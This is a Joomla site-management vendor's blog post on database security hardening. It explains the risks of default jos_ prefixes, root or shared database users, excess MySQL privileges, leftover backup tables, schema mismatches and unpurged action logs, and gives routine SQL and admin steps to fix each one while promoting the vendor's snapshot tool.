phil@mysites.guru (Phil Taylor) — Wed, 25 Mar 2026 00:00:00 GMT

Your Joomla site's database holds everything that matters. User accounts, passwords, content, configuration, session tokens, extension settings. If an attacker gets read access, they own the site. Write access, they own the server.

The database is also one of the most commonly misconfigured parts of any Joomla installation. Default table prefixes that automated tools know how to target. Root database users with unrestricted access. Database users that can see every database on the server. Backup tables full of historical data that nobody remembers creating. Schema mismatches from botched updates. Action logs growing without bounds.

The mySites.guru snapshot tool checks for all of these automatically. The Database Integrity section of the snapshot runs six distinct checks on every connected site:

Each check links to a Watch button (video walkthrough), a Learn button (best practice explanation), and an Investigate button that takes you straight to the issue on that specific site. For Joomla sites, most checks also include a Fix This For Me button that applies the fix remotely with a single click. When you need to see a single check across all your sites at once, the pivot view shows every connected site's status for that check on one screen:

If you manage 10, 50, or 500 sites, this is how you spot the outliers without logging into each server individually.

This post walks through every database integrity check, explains why each one matters, and gives you the exact steps to fix each issue.

Why Does Joomla Database Security Get Overlooked?

Most Joomla administrators focus on the visible attack surface: keeping extensions updated, running security audits, scanning for hacked files and backdoors, and reviewing security headers.

But the database sits behind the scenes. You don't interact with it directly during normal site management. It was configured once during installation and never revisited. The installer picked a prefix, the hosting panel created a user with whatever privileges it felt like granting, and everyone moved on.

The decisions made during a five-minute installation have permanent security implications, and almost nobody goes back to review them.

When you manage multiple Joomla sites, the odds of database misconfiguration go up fast. Different hosts have different defaults. Different eras of Joomla had different installation behaviours. Some hosts create database users with full administrative privileges because it's easier than figuring out the minimum required set.

Why Is the Default Joomla Table Prefix a Problem?

Joomla versions before 1.7 used jos_ as the default database table prefix during installation. That means your users table would be jos_users, your sessions table jos_session, your extensions table jos_extensions, and so on.

Joomla has generated a random prefix during installation since version 1.7 (released in 2011). But if you're managing older sites, sites that were migrated from earlier versions, or sites where someone typed jos_ manually during setup, that default prefix is still there.

This matters because SQL injection attacks need to know your table names to extract data. If a site uses jos_users as the users table, attackers don't need to guess. They already know. Automated attack tools and scripts target jos_users, jos_session, and jos_extensions by default. Changing your prefix to something custom, say x7k9_ or mguru_, means those pre-built payloads hit tables that don't exist and return nothing useful.

Tim Davis from Basic Joomla Tutorials covers this exact issue in his Maintenance Monday stream. It's a clear walkthrough of why the default prefix is a problem and how to change it:

The video above shows an older version of the mySites.guru interface. We've since redesigned the dashboard, but the database checks work the same way.

Changing the table prefix is not a substitute for fixing SQL injection vulnerabilities. A determined attacker who can inject SQL can usually enumerate your table names regardless of prefix. But it stops the vast majority of automated attacks, which are the ones most sites actually face. Defense in depth means stacking imperfect barriers, and each one filters out a portion of threats.

What mySites.guru checks

The snapshot reads your site's configuration.php and checks the $dbprefix value. If it's jos_, the tool flags it as a warning. If you've set a custom prefix, it passes.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button on the flagged check to see your site's current prefix. For Joomla sites, click Fix This For Me and mySites.guru will generate a random prefix, rename every table in the database, and update configuration.php automatically. No manual SQL needed. If you manage dozens of sites, use the pivot view to see which sites still have jos_ across your entire portfolio in one screen.

Option 2: Use Admin Tools

If you have Akeeba Admin Tools installed, it includes a database table prefix changer. It handles renaming all tables and updating the configuration automatically. This is a solid approach because it accounts for edge cases like tables created by third-party extensions that might not follow standard naming conventions.

Option 3: Manual change via phpMyAdmin

Take a full database backup first. This is non-negotiable.
Open phpMyAdmin (or your preferred database management tool).
For each table starting with jos_, run: RENAME TABLE jos_tablename TO newprefix_tablename;
Update configuration.php on the server: change public $dbprefix = 'jos_'; to public $dbprefix = 'newprefix_';
Clear your Joomla cache and verify the site loads correctly.

A few rules for choosing a good prefix to save you headaches with some webhosts and configurations - trust us!

Use 3-5 random characters followed by an underscore (e.g., a8x2_)
Stick to lowercase letters and numbers only, no special characters
Start with a letter, not a number
Don't use your site name, domain, or anything guessable
Don't use joomla_, jml_, or any other obvious Joomla-related prefix

If you're installing a new Joomla site, the installer already generates a random prefix by default (since Joomla 1.7 in 2011). If you see jos_ on a site, it either predates that change or someone manually typed it in during setup.

The root database user problem in Joomla

If your Joomla site connects to the database as the root MySQL user, you have a serious problem.

The root user has unrestricted access to every database on the server. Not just your Joomla database, but every single one. If a vulnerability in any Joomla extension allows an attacker to execute arbitrary SQL, they can read, modify, or delete data from every database on the server. They can create new database users. They can grant themselves permanent access. They can dump every table from every application sharing that MySQL instance.

This is the database equivalent of running your web server as the system root user.

Why it happens

Shared hosting panels often create a single database user per hosting account and give it access to all databases under that account. On some budget hosts, the installation wizard pre-fills "root" as the database username because the hosting environment uses it.

Self-managed servers tend to be worse. Developers setting up a quick test environment use root because it works and they'll "fix it later." They never fix it later. The test environment becomes production, and root stays in configuration.php for years.

What mySites.guru checks

The snapshot reads the $user value from your site's configuration.php. If the database username is root, the tool flags it as a critical warning.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button on the flagged check to see the exact database username. For Joomla sites, the investigation page includes a credentials form where you can enter new database credentials, test them against the server, and apply the change to configuration.php remotely. No SSH or FTP required. Use the pivot view to instantly see which sites across your portfolio are still running as root, so you can prioritise the worst offenders.

Option 2: Fix manually

Log into your hosting control panel or MySQL directly.
Create a new database user with a strong, unique password.
Grant that user access only to the Joomla database, nothing else.
Assign only the required privileges (covered in the next section).
Update configuration.php with the new username and password.
Verify the site works correctly.
If no other applications use root, change the root password and restrict root to localhost-only access.

If you have direct MySQL access, here's the command to create a properly scoped user. On shared hosting, your control panel (cPanel, Plesk, DirectAdmin, etc.) will handle this through its GUI instead - typically in three separate steps: create the user, assign privileges to the user, then add the user to the database.

CREATE USER 'joomla_user'@'localhost' IDENTIFIED BY 'strong_random_password_here';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON joomla_database.* TO 'joomla_user'@'localhost';
FLUSH PRIVILEGES;

Replace joomla_user, strong_random_password_here, and joomla_database with your actual values. The @'localhost' restriction ensures this user can only connect from the local machine, not remotely.

If your Joomla site is on shared hosting, check with your host about database user permissions. Some hosts don't give you direct MySQL access to create users, so you'll need to use their control panel instead. The principle is the same: one user per database, minimum required privileges.

Why Should Each Site Have Its Own Database User?

Even with a dedicated (non-root) database user, there's a subtler problem: that user might have access to multiple databases on the same server.

This happens more often than you'd expect. Hosting panels frequently create a single database user and grant it access to every database under your account. If you run three Joomla sites on the same server, all three might share the same database user. If one site gets compromised through an extension vulnerability, the attacker can read and modify the databases of the other two sites as well.

Tim Davis has a memorable take on this in his Maintenance Monday stream: No Database Threesomes in Joomla. He walks through how to check if your database user can access multiple databases and how to create separate users for each site. If a hack occurs on one site whose database user can see other databases, the attacker can view those databases too, change admin passwords directly, and compromise every site on that server. We have seen over 100 databases on a single server all hacked from one compromised site. Total compromise, from a single weak point.

What mySites.guru checks

The snapshot connector connects to your MySQL server using your site's database credentials and runs SHOW DATABASES, filtering out system databases (information_schema, performance_schema, mysql, test). If the user can see more than one database, the check fails. This is the same test an attacker would use after gaining SQL access through a vulnerability.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see exactly how many databases the user can access. For Joomla sites, the investigation page includes the same credentials form as the root user check: enter a new dedicated username and password, test them, and apply the change to configuration.php remotely. Use the pivot view to see which sites across your portfolio have this problem.

Option 2: Fix manually

Create a separate database user for each Joomla site on your server. Using the MySQL command from the root user section above, the key is the ON joomla_database.* part: that restricts the user to a single database. Repeat for each site with a different username, password, and database name.

-- Site A
CREATE USER 'site_a_user'@'localhost' IDENTIFIED BY 'password_a';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_a_db.* TO 'site_a_user'@'localhost';

-- Site B
CREATE USER 'site_b_user'@'localhost' IDENTIFIED BY 'password_b';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_b_db.* TO 'site_b_user'@'localhost';

FLUSH PRIVILEGES;

Then update each site's configuration.php to use its dedicated user.

What Database Privileges Does Joomla Actually Need?

Even with a dedicated user that only accesses one database, that user might have far more privileges than Joomla needs. This isn't one of the six automated snapshot checks, but it's a critical part of database security that you should review manually alongside the snapshot results.

Joomla needs these MySQL privileges to function:

SELECT - read data from tables
INSERT - add new rows (content, users, sessions, etc.)
UPDATE - modify existing rows
DELETE - remove rows
CREATE - create new tables (needed during extension installation)
DROP - remove tables (needed during extension uninstallation)
ALTER - modify table structure (needed during updates)
INDEX - create and drop indexes (needed during updates)

Some extensions also require:

CREATE TEMPORARY TABLES - for complex queries that use temp tables
LOCK TABLES - for backup extensions that need consistent snapshots

Ten privileges at most. Yet many hosting panels grant database users privileges they should never have:

FILE - read and write files on the server filesystem through SQL. An attacker with this privilege can read /etc/passwd, write a PHP backdoor to the webroot, or exfiltrate your configuration.php, all through SQL queries.
PROCESS - view all running queries from all users, including those containing passwords or sensitive data.
SUPER - bypass privilege restrictions, kill other users' queries, change global server settings.
GRANT OPTION - grant any privilege the user has to other users. An attacker can create new users with full access.
SHUTDOWN - shut down the MySQL server entirely.

If a SQL injection vulnerability is discovered in any Joomla extension on your site, the damage an attacker can do is directly proportional to the privileges your database user holds. With just the required set, they can read and modify data in your Joomla database. Bad, but recoverable. With FILE privilege, they can drop a backdoor on your filesystem. With SUPER, they can take over the database server. The Novarain Framework vulnerability (CVE-2026-21627) is a real-world example of exactly this: an unauthenticated SQL injection in a bundled Joomla component that gives attackers direct database access.

How to check and fix

To see what privileges your user currently has:

SHOW GRANTS FOR 'joomla_user'@'localhost';

If the output includes dangerous privileges, revoke them:

REVOKE FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN
  ON *.* FROM 'joomla_user'@'localhost';
FLUSH PRIVILEGES;

If the output shows GRANT ALL PRIVILEGES, your user has everything, including the dangerous ones. The cleanest fix is to create a new user with only the required privileges (using the command from the root user section) and update configuration.php to use it.

On shared hosting, you may not be able to run REVOKE directly. Most hosting control panels (cPanel, Plesk, DirectAdmin) have a database user privilege editor in their interface. Look for your database section, find the user, and uncheck everything except SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, CREATE TEMPORARY TABLES, and LOCK TABLES.

The ALL PRIVILEGES trap

Many guides and StackOverflow answers casually recommend GRANT ALL PRIVILEGES when setting up a database user. It's the easy path where everything works and you never get a "permission denied" error. But ALL PRIVILEGES includes FILE, PROCESS, SUPER, and everything else. It's the second-worst option after using root directly.

If you see ALL PRIVILEGES in your grants output, treat it the same as any other over-privileged configuration: create a new user with explicit minimum privileges and switch to it.

Why Should You Remove Backup Tables from Your Joomla Database?

When you run the Joomla installer into a database that already contains tables (from a previous installation, for example), the installer offers to back up the existing tables by renaming them with a bak_ prefix. So jos_users becomes bak_jos_users, jos_content becomes bak_jos_content, and so on. Open phpMyAdmin on a long-running Joomla site and you might see dozens of these bak_ tables sitting alongside the live ones.

The problem is that nobody cleans them up afterward. The installer creates them, the site works fine, and the backup tables sit there indefinitely.

Tim Davis covers the cleanup process in detail: Remove BAK_ Backup Tables From Your Joomla Database. He walks through both automated and manual approaches to finding and removing these tables safely.

Why backup tables are a security risk

Backup tables contain historical copies of your data. Your jos_users table has your current user records with current (hopefully hashed) passwords. A backup table from two years ago has the user records from two years ago, potentially with weaker password hashes if you've upgraded your hashing algorithm since then. It might also contain accounts for users who have since been deleted.

If an attacker gains read access to your database through SQL injection, backup tables give them:

Historical user data - email addresses, usernames, and password hashes from previous periods
Old configuration data - API keys, SMTP credentials, or other sensitive settings stored in the database
Migration artifacts - data from a previous CMS or an earlier Joomla version that might contain information you thought was deleted

Beyond the security angle, backup tables consume disk space. On sites with large content tables or extensive user bases, backup tables can double or triple your database size. This slows down database operations, increases backup time, and on some hosts pushes you into a higher billing tier.

What mySites.guru checks

The snapshot connector runs SHOW TABLES on your database and looks for any table with a name starting with bak_. This is the prefix Joomla's installer creates when you install over an existing database and choose to back up the old tables. If any bak_ tables exist, the check fails.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see the full list of bak_ tables on that site. Click Fix This For Me and mySites.guru will drop all the backup tables remotely. No need to open phpMyAdmin or run SQL manually. Use the pivot view to see which sites across your portfolio have leftover backup tables.

Option 2: Fix manually

Open phpMyAdmin or your preferred database tool.
Confirm the tables flagged are actually backups and not tables created by a legitimate extension. Check the table structure: if it mirrors an existing core or extension table, it's almost certainly a backup.
Take a fresh database backup before deleting anything (yes, the irony is noted).
Drop the backup tables:

DROP TABLE bak_jos_users;
DROP TABLE bak_jos_content;
DROP TABLE bak_jos_extensions;

Verify the site works normally afterward.

Don't delete tables you can't identify. Some extensions create tables with non-obvious names. If you're unsure whether a table belongs to an active extension, check the extension's documentation or search for the table name in the extension's source code before dropping it.

Preventing future backup table accumulation

Configure your backup extension (Akeeba Backup or similar) to store backups as files, not as additional database tables
After running database migrations, include table cleanup as part of your post-migration checklist
If you're manually duplicating tables before making changes, set a calendar reminder to remove them within a week
Run the mySites.guru snapshot periodically. Schedule it to run weekly or monthly, and it will catch new backup tables before they accumulate

Does Your Database Schema Match the Installed Joomla Version?

When Joomla updates between versions, it runs database migration scripts that add new tables, add columns to existing tables, change column types, and update indexes. If an update fails partway through, or if someone restores a database backup from an older version without re-running migrations, the database schema can end up out of sync with the installed Joomla code.

A schema mismatch can cause subtle bugs. Extension installs might fail silently. Admin pages might throw errors when trying to access columns that don't exist. In some cases, Joomla's built-in update process gets stuck because it thinks a migration already ran when it didn't.

What mySites.guru checks

The snapshot connector loads Joomla's com_installer Database model and compares the current schema version (stored in the #__schemas table) against the latest schema version available in Joomla's migration files. If the versions don't match, the check fails. On Joomla 4 and later, it also compares the com_admin extension version against the installed Joomla version to catch partial updates.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see the current vs expected schema version numbers and any schema errors. Click Fix This For Me and mySites.guru will run the missing migration scripts remotely. The pivot view shows you which sites across your portfolio have schema mismatches, so you can batch your fixes.

Option 2: Fix via Joomla's built-in tool

Joomla includes a built-in database repair tool. In the Joomla administrator:

Go to System > Maintenance > Database
Joomla will compare the expected schema against the actual database
Select any items marked as needing attention
Click Update Structure

If the built-in tool can't resolve the issue (rare, but it happens with heavily customized sites), you may need to manually apply the missing SQL from Joomla's migration files in administrator/components/com_admin/sql/updates/mysql/.

Always back up your database before running schema fixes.

Should You Enable Joomla's User Action Log Auto Purge?

Joomla's User Action Log component tracks administrator activity: who logged in, who changed what article, who installed which extension. It's a useful audit trail, but the log table grows over time. Without automatic purging, the #__action_logs table can grow to hundreds of thousands of rows on busy sites, slowing down database operations and backups.

What mySites.guru checks

The snapshot connector reads the logDeletePeriod parameter from the PLG_SYSTEM_ACTIONLOGS plugin in the #__extensions table. The check passes only if the value is exactly 30. If it's set to a different number, disabled, or not configured, the check fails and shows the current value (or "Days" if no value is set). This is a Joomla 3.9+ check only.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see the current purge setting. Click Fix This For Me and mySites.guru will set the value to 30 days remotely. Use the pivot view to see which sites across your portfolio need this configured.

Option 2: Fix via Joomla admin

In the Joomla administrator, go to System > Plugins
Search for "Action Log - User Actions"
Open the plugin settings
Set Days to delete log entries after to 30 (or whatever retention period you need)
Make sure the plugin is enabled

For sites where you need longer retention (compliance requirements, client audit trails), set a longer period. The point is to have some limit rather than letting the table grow without bounds.

A complete Joomla database security checklist

Here's the complete set of database integrity checks you should apply to every Joomla site you manage:

1. Table prefix

Is it something other than jos_?
Is it random and non-guessable?
Does it end with an underscore?

2. Database user

Is it a dedicated user (not root)?
Does it have a strong, unique password?
Is it restricted to connecting from localhost only?

3. Single database access (mySites.guru check)

Does the database user only have access to one database?
Is each site on the server using its own dedicated user?

4. Backup tables (mySites.guru check, Joomla only)

Are there leftover bak_ tables in the database?

5. Schema integrity (mySites.guru check, Joomla only)

Does the database schema version match the installed Joomla version?

6. Action log purge (mySites.guru check, Joomla 3.9+ only)

Is the User Action Log plugin configured to auto-purge at 30 days?

7. Privileges (manual check)

Are only the required privileges granted? (SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, and optionally CREATE TEMPORARY TABLES and LOCK TABLES)
Are dangerous privileges absent? (FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN)
Is ALL PRIVILEGES not being used?

8. Configuration protection (manual check)

Is configuration.php set to 444 (read-only) permissions?
Is the database password unique and not reused elsewhere?

Run the mySites.guru snapshot on your connected sites to check items 1-6 automatically. For items 7-8, you'll need to verify manually. For sites that fail multiple checks, prioritise fixing them in order: root user first (critical), then single-database access (critical), then table prefix (medium), then backup tables and schema (maintenance).

How Do You Check Multiple Sites at Once?

If you manage dozens or hundreds of Joomla sites, checking database security manually on each one would take forever. This is where mySites.guru's snapshot tool earns its keep.

Run a snapshot across all connected sites with a single click, or schedule them to run automatically on whatever cadence makes sense. The pivot view (shown above) lets you pick any single check and see every site's status on one screen, so you can focus your time on the sites that actually need attention.

The snapshot captures over 100 checks per site, and the database integrity checks covered in this post are just one category. You'll also get checks for security headers, file permissions, core file integrity, PHP configuration, dangerous leftover files, and much more. Combined with a full security audit that scans for hacked files and backdoors, you get a thorough picture of each site's security posture.

For each flagged issue, the tool links to a best practice explanation so your team members and clients understand why the recommendation matters, not just what to change.

What About WordPress Database Security?

The underlying risks are identical for WordPress. The default table prefix is wp_ instead of jos_, and the table names are different, but automated tools target wp_users and wp_options just as readily as they target jos_users and jos_extensions.

The mySites.guru snapshot runs three of the same database checks on WordPress sites: default wp_ prefix detection, root user warnings, and single-database access checks. WordPress also gets a Pending Database Migrations check (comparing the code's expected $wp_db_version against the stored db_version option) instead of the Joomla schema check. The backup tables and action log purge checks are Joomla-specific.

Note that WordPress database fix tools currently require manual action - the remote Fix This For Me buttons are available on Joomla sites only. If you manage both Joomla and WordPress sites from the mySites.guru dashboard, the snapshot will still flag the issues on WordPress so you know what needs attention.

Learn More: Basic Joomla Tutorials

If you prefer video walkthroughs, Tim Davis runs the Basic Joomla Tutorials YouTube channel with hundreds of Joomla maintenance and security videos. The three videos linked throughout this post cover the database topics in detail:

Don't Use the Default JOS_ Database Table Prefix in Joomla - why the default prefix is a target and how to change it
No Database Threesomes in Joomla - why each site needs its own database user with access to only one database
Remove BAK_ Backup Tables From Your Joomla Database - finding and safely removing orphaned backup tables

Tim's Maintenance Monday streams are a solid resource for anyone managing Joomla sites professionally.

Beyond the snapshot: defence in depth

Database security checks are one layer in a multi-layered security strategy. They complement other practices:

Keep Joomla and extensions updated. Most SQL injection vulnerabilities are in outdated extensions. Mass updates from the mySites.guru dashboard keep everything current with minimal effort.
Run regular security audits. The deep audit scans every file in your webspace against thousands of known malware patterns, and the AI-powered malware analysis can identify obfuscated threats that signature-based scanning misses.
Set up real-time alerts. File change and login monitoring catches suspicious activity the moment it happens, before an attacker has time to establish persistence.
Protect configuration files. Your configuration.php contains your database credentials in plain text. It should be readable only by the web server user, not writable, and not accessible from the web. The mySites.guru snapshot checks file permissions as part of its standard run, and the hidden files tool can surface configuration files that have been copied or backed up to accessible locations.
Use strong, unique passwords everywhere. The database password in configuration.php should be unique to that site. Password reuse across sites means a compromise on one site compromises them all.
Check your Joomla email config. A compromised site is often used to send spam. Verify your email configuration works so you'll notice if something changes.

Get Started

If you're already a mySites.guru subscriber, run a snapshot on your sites and check the Database Integrity section in the results. Fix whatever is flagged, starting with the most critical issues.

Not using mySites.guru yet? Start with a free audit to see what the tool finds on your site. It takes under two minutes to connect a site and run the first snapshot. You might be surprised at what's been sitting in your database configuration since the day the site was installed.

For agencies and freelancers managing client sites, the pricing plans scale with the number of connected sites. Every plan includes unlimited snapshots and audits across all your sites, database integrity checks included, no add-on required.

mySites.guru Blog

iCagenda 4.0.12 fixes an unauthenticated SQL injection

TL;DR

What CVE-2026-67365 is

The version number that will mislead you

Which Joomla sites are affected?

What to do

Disclosure and severity

Further Reading

Sourcerer 14.0.0 fixes PHP execution from unverified content

TL;DR

What Sourcerer 14.0.0 changed

Two halves of the same Joomla extension problem

Why escaping the input does not save you

Which Joomla sites are affected?

What should I do now?

Disclosure and severity

Further Reading

Why PHP 8.5.7 Shows Amber When PHP 8.4.24 Shows Green

The Short Answer

A PHP Version Number Answers Two Questions

What the PHP Badge Actually Checks

Why Does a Newer PHP Version Show a Worse Colour?

Which PHP Versions Are Supported Right Now?

How Bad Is It to Be Running PHP 5, 7, 8.0 or 8.1 in 2026?

The Advisory List Stops Mentioning You

What Actually Gets Sites Hacked

Green Means Patched, It Does Not Mean Future-Proof

What PHP Version Do WordPress and Joomla Actually Need?

How Do I Move a Site From Amber to Green?

A Server Does Not Have One PHP Version

Your Host Only Offers What It Has Installed

Your Extensions Get a Vote

Further Reading

Phoca Cart 5.2.4, 6.1.7 and 4.0.13 fix a front-end SQL injection

TL;DR

What Phoca Cart 5.2.4, 6.1.7 and 4.0.13 actually changed

How does the Phoca Cart SQL injection work?

Which Phoca Cart versions are affected?

CVE-2026-74251, and where its version range is wrong

Why Joomla's updater will not offer the fix to some sites

The Joomla 4 line is patched, but only if you go and get it

How the affected Joomla sites break down

How do I find every Phoca Cart install across my Joomla sites?

Did mySites.guru find this one?

Severity

Further reading

Unauthenticated Remote Code Execution in SP Page Builder found by mySites.guru

TL;DR

The worst one: an anonymous request that runs your code

The second one: an anonymous request that writes to your disk

Why the last fix did not cover this

What 6.8.0 actually changed

The release notes do not tell you any of this

The fix waited for the feature release

Which versions are affected?

How do you update SP Page Builder safely?

How do I find every SP Page Builder site I manage?

Why page builders keep producing this

Stay ahead of the next one

Disclosure and severity

Further Reading

Cotton Cloud Patched the Login, Then the Data

TL;DR

What Cotton Cloud got right

The half that was left in 2.0.2

The fix that never ran

What vibe coding does to a security fix

What 2.0.3 fixed

We have seen this exact fix before

Why half a fix happens

Where this sits against the twenty rules

What site owners should do

Finding every affected site at once

For extension developers

Further reading

Twenty Rules for Joomla Extension Developers Handling a Security Report

Why This Matters to Anyone Running Joomla Sites

How Do You Know Which of Your Joomla Sites Are Affected?

What Does the New Manual Page Ask Developers to Do?